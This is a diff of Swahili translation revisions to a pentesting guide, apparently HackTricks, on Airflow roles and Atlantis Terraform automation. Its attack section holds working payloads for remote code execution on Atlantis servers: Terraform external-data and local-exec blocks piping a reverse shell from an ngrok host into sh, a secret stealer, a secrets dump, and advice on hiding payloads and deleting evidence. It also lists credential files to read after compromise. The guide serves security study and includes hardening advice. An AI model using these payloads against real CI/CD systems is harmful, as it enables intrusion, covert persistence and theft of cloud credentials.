### \[kerberos]
|
||||
|
||||
@@ -72,7 +72,7 @@ Baadhi ya maadili ya kuvutia ya kuangalia unapokuwa unaisoma faili ya config:
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: Neno la siri la SMTP
|
||||
- **`smtp_password`**: Nenosiri la SMTP
|
||||
- **`smtp_user`**: Mtumiaji wa SMTP
|
||||
|
||||
### \[webserver]
|
||||
@@ -96,9 +96,9 @@ Ambayo inamaanisha kwamba **uthibitishaji unakaguliwa dhidi ya hifadhidata**. Ha
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Ili kuacha **uthibitishaji kwa huduma za upande wa tatu**.
|
||||
Kuwaacha **uthibitishaji kwa huduma za upande wa tatu**.
|
||||
|
||||
Hata hivyo, kuna chaguo pia la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **jukumu lililotakikana**:
|
||||
Hata hivyo, pia kuna chaguo la **kuruhusu watumiaji wasiojulikana kuingia**, kuweka parameter ifuatayo kwa **haki inayotakiwa**:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
@@ -8,13 +8,13 @@
|
||||
|
||||
- **`Admin`** watumiaji wana ruhusa zote zinazowezekana.
|
||||
- **`Public`** watumiaji (wasiojulikana) hawana ruhusa yoyote.
|
||||
- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). **Haiwezi kuona usanidi.**
|
||||
- **`Viewer`** watumiaji wana ruhusa za mtazamaji zilizo na mipaka (kusoma tu). Haiwezi kuona usanidi.
|
||||
- **`User`** watumiaji wana ruhusa za `Viewer` pamoja na ruhusa za ziada za mtumiaji zinazomruhusu kusimamia DAGs kidogo. Anaweza **kuona faili ya usanidi**
|
||||
- **`Op`** watumiaji wana ruhusa za `User` pamoja na ruhusa za ziada za op.
|
||||
|
||||
Kumbuka kwamba **watumiaji wa admin** wanaweza **kuunda majukumu zaidi** yenye **ruhusa za kina**.
|
||||
|
||||
Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata `Op` hataweza kufanya hivyo.**
|
||||
Pia kumbuka kwamba jukumu pekee la default lenye **ruhusa ya kuorodhesha watumiaji na majukumu ni Admin, hata Op** hataweza kufanya hivyo.
|
||||
|
||||
### Ruhusa za Default
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@ Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutok
|
||||
### Local Lab
|
||||
|
||||
1. Nenda kwenye **ukurasa wa toleo la atlantis** katika [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) na **pakua** ile inayokufaa.
|
||||
2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) ya mtumiaji wako wa **github**
|
||||
2. Unda **token ya kibinafsi** (ikiwa na ufikiaji wa repo) wa mtumiaji wako wa **github**
|
||||
3. Tekeleza `./atlantis testdrive` na itaunda **demo repo** ambayo unaweza kutumia ku **zungumza na atlantis**
|
||||
1. Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141
|
||||
|
||||
@@ -21,7 +21,7 @@ Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutok
|
||||
|
||||
**Atlantis** inasaidia wenyeji kadhaa wa git kama **Github**, **Gitlab**, **Bitbucket** na **Azure DevOps**.\
|
||||
Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na **ufikiaji wa kibali uliopewa** (angalau ruhusa za kuandika).\
|
||||
[**Nyaraka**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) zinahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.
|
||||
|
||||
> [!WARNING]
|
||||
> Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, **akaunti ya Atlantis** itakuwa moja ya **ya kuvutia** **kuvunjwa**.
|
||||
@@ -32,16 +32,16 @@ Atlantis inatumia kwa hiari [**Webhook secrets**](https://www.runatlantis.io/doc
|
||||
|
||||
Njia moja ya kuthibitisha hii ingekuwa **kuruhusu maombi kuja tu kutoka kwa IPs** za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret.
|
||||
|
||||
Kumbuka kwamba isipokuwa unatumia seva ya github au bitbucket ya kibinafsi, utahitaji kufichua mwisho wa webhook kwa Mtandao.
|
||||
Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis itakuwa **ikifichua webhooks** ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua **kama unaweza kutuma ujumbe**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[Kutoka kwenye nyaraka:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis inafanya Terraform kwa kuendesha tu **amri `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.
|
||||
Atlantis inafanya Terraform kwa kutekeleza tu **amri za `terraform plan` na `apply`** kwenye seva **ambayo Atlantis inahifadhiwa**. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.
|
||||
|
||||
Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) kwa mtoa huduma wako maalum kwa Atlantis:
|
||||
|
||||
@@ -49,16 +49,16 @@ Ni juu yako jinsi unavyoweza [kutoa akreditif](https://www.runatlantis.io/docs/p
|
||||
- Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Tafuta "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Watumiaji wengi huweka mabadiliko ya mazingira, mfano. `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi.
|
||||
- Wengine huunda faili za usanidi zinazohitajika, mfano. `~/.aws/credentials`, ambapo Atlantis inafanya kazi.
|
||||
- Watumiaji wengi huweka mabadiliko ya mazingira, mfano `AWS_ACCESS_KEY`, ambapo Atlantis inafanya kazi.
|
||||
- Wengine huunda faili za usanidi zinazohitajika, mfano `~/.aws/credentials`, ambapo Atlantis inafanya kazi.
|
||||
- Tumia [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kupata akreditif za mtoa huduma.
|
||||
|
||||
> [!WARNING]
|
||||
> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa watoa huduma (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.
|
||||
> **Container** ambapo **Atlantis** inafanya **kazi** itakuwa na uwezekano mkubwa **kuhifadhi akreditif za kibali** kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.
|
||||
|
||||
#### Web Page
|
||||
|
||||
Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuziweka wazi (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).
|
||||
Kwa kawaida Atlantis itafanya kazi **ukurasa wa wavuti katika bandari 4141 kwenye localhost**. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).
|
||||
|
||||
Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna akreditif zinazohitajika** kuifikia (na ikiwa zipo `atlantis`:`atlantis` ndio **za kawaida**).
|
||||
|
||||
@@ -67,7 +67,7 @@ Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida **hakuna
|
||||
Usanidi wa `atlantis server` unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu.
|
||||
|
||||
- Unaweza kupata [**hapa orodha ya bendera**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) zinazosaidiwa na seva ya Atlantis
|
||||
- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa mabadiliko ya mazingira**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- Unaweza kupata [**hapa jinsi ya kubadilisha chaguo la usanidi kuwa env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
Thamani zinachaguliwa **katika mpangilio huu**:
|
||||
|
||||
@@ -80,16 +80,16 @@ Thamani zinachaguliwa **katika mpangilio huu**:
|
||||
|
||||
#### Repos Configuration
|
||||
|
||||
Mikakati fulani inaathiri **jinsi repos inavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo kipaumbele:
|
||||
Mifumo fulani ya usanidi inaathiri **jinsi repos zinavyosimamiwa**. Hata hivyo, inawezekana kwamba **kila repo inahitaji mipangilio tofauti**, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda kwa repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu.
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu.
|
||||
1. Huenda ikahitajika kuruhusiwa na bendera kama `allowed_overrides` au `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia na bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa)
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Unaweza kuipitia kwa bendera `--repo-config` na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa)
|
||||
3. **Thamani za Kawaida**
|
||||
|
||||
**PR Protections**
|
||||
|
||||
Atlantis inaruhusu kuashiria ikiwa unataka **PR** kuidhinishwa na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`mergeable`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.
|
||||
Atlantis inaruhusu kuashiria ikiwa unataka **PR** ku **`idhinishwa`** na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa **`inaweza kuunganishwa`** (ulinzi wa tawi umepita) **kabla ya kuendesha apply**. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.
|
||||
|
||||
Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kwenye kila mradi na faili ya `/atlantis.yml`**.
|
||||
|
||||
@@ -97,7 +97,7 @@ Katika kesi `allowed_overrides` ni Kweli, mipangilio hii inaweza **kufutwa kweny
|
||||
|
||||
Usanidi wa repo unaweza **kuainisha scripts** za kuendesha [**kabla**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) na [**baada**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) **workflow inatekelezwa.**
|
||||
|
||||
Hakuna chaguo la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili.
|
||||
Hakuna chaguo lolote la kuruhusu **kuainisha** scripts hizi katika **repo `/atlantis.yml`** faili.
|
||||
|
||||
**Workflow**
|
||||
|
||||
@@ -126,18 +126,18 @@ Kisha, unaweza kuruhusu faili ya **atlantis.yaml** ya kila repo ku **ainisha wor
|
||||
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **policies** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:
|
||||
Atlantis inasaidia kuendesha **server-side** [**conftest**](https://www.conftest.dev/) **sera** dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:
|
||||
|
||||
- Kukataa matumizi ya orodha ya moduli
|
||||
- Kuashiria sifa za rasilimali wakati wa kuunda
|
||||
- Kukamata kufutwa kwa rasilimali zisizokusudiwa
|
||||
- Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma)
|
||||
|
||||
Unaweza kuangalia jinsi ya kuipanga katika [**nyaraka**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
Unaweza kuangalia jinsi ya kuipanga katika [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Commands
|
||||
|
||||
[**Katika nyaraka**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -160,7 +160,7 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
### Attacks
|
||||
### Mashambulizi
|
||||
|
||||
> [!WARNING]
|
||||
> Ikiwa wakati wa unyakuzi unakutana na **kosa** hili: `Error: Error acquiring the state lock`
|
||||
@@ -172,7 +172,7 @@ atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya
|
||||
|
||||
Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuunda PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**.
|
||||
Ikiwa una ufikiaji wa kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis plan`** (au labda inatekelezwa kiotomatiki) **utaweza kufanya RCE ndani ya seva ya Atlantis**.
|
||||
|
||||
Unaweza kufanya hivi kwa kufanya [**Atlantis ipokee chanzo cha data cha nje**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Weka tu payload kama ifuatavyo katika faili ya `main.tf`:
|
||||
```json
|
||||
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
|
||||
```
|
||||
**Shambulio la Siri**
|
||||
|
||||
Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya:
|
||||
Unaweza kufanya shambulio hili hata kwa njia ya **siri zaidi**, kwa kufuata mapendekezo haya:
|
||||
|
||||
- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell:
|
||||
```javascript
|
||||
@@ -190,14 +190,14 @@ module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Badala** ya kuunda **PR kwa master** ili kuanzisha Atlantis, **unda matawi 2** (test1 na test2) na uunde **PR kutoka moja hadi nyingine**. Unapokamilisha shambulio, tu **ondoa PR na matawi**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili la terraform:
|
||||
Unaweza **dump secrets zinazotumiwa na terraform** ukikimbia `atlantis plan` (`terraform plan`) kwa kuweka kitu kama hiki katika faili ya terraform:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
@@ -205,17 +205,17 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
#### Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya
|
||||
|
||||
Ikiwa una ruhusa ya kuandika juu ya hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kufanya `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**.
|
||||
Ikiwa una ufikiaji wa kuandika kwenye hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza **kutekeleza `atlantis apply` utaweza RCE ndani ya seva ya Atlantis**.
|
||||
|
||||
Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi:
|
||||
|
||||
- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kufanya **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa).
|
||||
- **Inayoweza kuunganishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kuendesha **`atlantis apply` ikiwa PR inaweza kuunganishwa** (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa).
|
||||
- Angalia [**kupita kwa ulinzi wa tawi**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kufanya `atlantis apply`
|
||||
- **Imeidhinishwa**: Ikiwa ulinzi huu umewekwa katika Atlantis, **mtumiaji mwingine lazima aidhinishe PR** kabla hujaweza kuendesha `atlantis apply`
|
||||
- Kwa kawaida unaweza kutumia [**token ya Gitbot kupita ulinzi huu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Kufanya **`terraform apply` kwenye faili ya Terraform yenye nia mbaya na** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili ya `main.tf`:
|
||||
Kuendesha **`terraform apply` kwenye faili mbaya ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri**.
|
||||
Fuata **mapendekezo kutoka kwa mbinu ya awali** ili ufanye shambulio hili kwa **njia ya siri**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika kitu kama:
|
||||
Wakati wa kuendesha `atlantis plan` au `atlantis apply`, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika maoni kama:
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -243,17 +243,17 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
Unaweza kupitisha mabadiliko ya mazingira ambayo yanaweza kusaidia kupita baadhi ya ulinzi. Angalia terraform env vars katika [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Custom Workflow
|
||||
#### Mchakato wa Kijadi
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
Kukimbia **amri za kujenga za uhalifu** zilizobainishwa katika faili ya `atlantis.yaml`. Atlantis inatumia faili ya `atlantis.yaml` kutoka tawi la ombi la kuvuta, **sio** la `master`.\
|
||||
Uwezekano huu ulitajwa katika sehemu ya awali:
|
||||
|
||||
> [!CAUTION]
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
> Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` imewekwa kuwa **True**, michakato inaweza **kubainishwa** katika faili ya **`atlantis.yaml`** ya kila repo. Pia inaweza kuwa muhimu kwamba **`allowed_overrides`** inabainisha pia **`workflow`** ili **kuzuia mchakato** ambao utatumika.
|
||||
>
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
> Hii itatoa **RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -272,9 +272,9 @@ This possibility was mentioned in a previous section:
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Bypass plan/apply protections
|
||||
#### Kupita mipango/maombi ya ulinzi
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
Ikiwa bendera ya [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ina_ `apply_requirements` iliyowekwa, inawezekana kwa repo **kubadilisha mipango/maombi ya ulinzi ili kupita**.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
@@ -282,11 +282,11 @@ apply_requirements: []
|
||||
```
|
||||
#### PR Hijacking
|
||||
|
||||
Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi lako halali la kuvuta,** itasababisha terraform kuendesha wakati hutaki.
|
||||
Ikiwa mtu atatuma **`atlantis plan/apply` maoni kwenye ombi zako halali za kuvuta,** itasababisha terraform kuendesha wakati hutaki.
|
||||
|
||||
Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inatolewa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE.
|
||||
Zaidi ya hayo, ikiwa huna mipangilio katika **branch protection** ya kuomba **kuangalia upya** kila PR wakati **commit mpya inasukumwa** kwake, mtu anaweza **kuandika mipangilio ya uharibifu** (angalia hali za awali) katika mipangilio ya terraform, kuendesha `atlantis plan/apply` na kupata RCE.
|
||||
|
||||
Hii ni **mipangilio** katika ulinzi wa matawi ya Github:
|
||||
Hii ni **mipangilio** katika ulinzi wa branch wa Github:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -296,18 +296,18 @@ Ikiwa umeweza **kuiiba webhook secret** inayotumika au ikiwa **hakuna webhook se
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud haifai **webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket.
|
||||
Bitbucket Cloud **haikubali webhook secrets**. Hii inaweza kuruhusu washambuliaji **kuiga maombi kutoka Bitbucket**. Hakikisha unaruhusu tu IP za Bitbucket.
|
||||
|
||||
- Hii inamaanisha kwamba **mshambuliaji** anaweza kufanya **maombi ya uongo kwa Atlantis** ambayo yanaonekana kana kwamba yanatoka Bitbucket.
|
||||
- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaoweza kufanya ni kupanga/kutumia kwenye repos zako.
|
||||
- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia Anwani za IPv4 za Nje).
|
||||
- Ikiwa unataja `--repo-allowlist` basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kuomba kwenye repos zako.
|
||||
- Ili kuzuia hili, ruhusu [anwani za IP za Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (angalia anwani za IPv4 za nje).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma:
|
||||
|
||||
- `/home/atlantis/.git-credentials` Inashikilia akreditif za ufikiaji wa vcs
|
||||
- `/atlantis-data/atlantis.db` Inashikilia akreditif za ufikiaji wa vcs na maelezo zaidi
|
||||
- `/home/atlantis/.git-credentials` Inayo nywila za ufikiaji wa vcs
|
||||
- `/atlantis-data/atlantis.db` Inayo nywila za ufikiaji wa vcs na maelezo zaidi
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Faili ya hali ya terraform
|
||||
- Mfano: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Mabadiliko ya mazingira
|
||||
@@ -321,48 +321,48 @@ Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na
|
||||
|
||||
#### Usitumie `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inarejelea kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.
|
||||
Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka `--allow-fork-prs` (inachukuliwa kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kutoka kupitia bendera ya `--repo-allowlist`. Kwa mfano:
|
||||
Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kupitia bendera ya `--repo-allowlist`. Kwa mfano:
|
||||
|
||||
- Repos maalum: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
|
||||
- Shirika lako lote: `--repo-allowlist=github.com/runatlantis/*`
|
||||
- Kila repo katika usakinishaji wako wa GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
|
||||
- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko kwenye mtandao uliohifadhiwa lakini hatari bila pia kuweka webhook secret.
|
||||
- Repos zote: `--repo-allowlist=*`. Inatumika wakati uko katika mtandao uliohifadhiwa lakini ni hatari bila pia kuweka webhook secret.
|
||||
|
||||
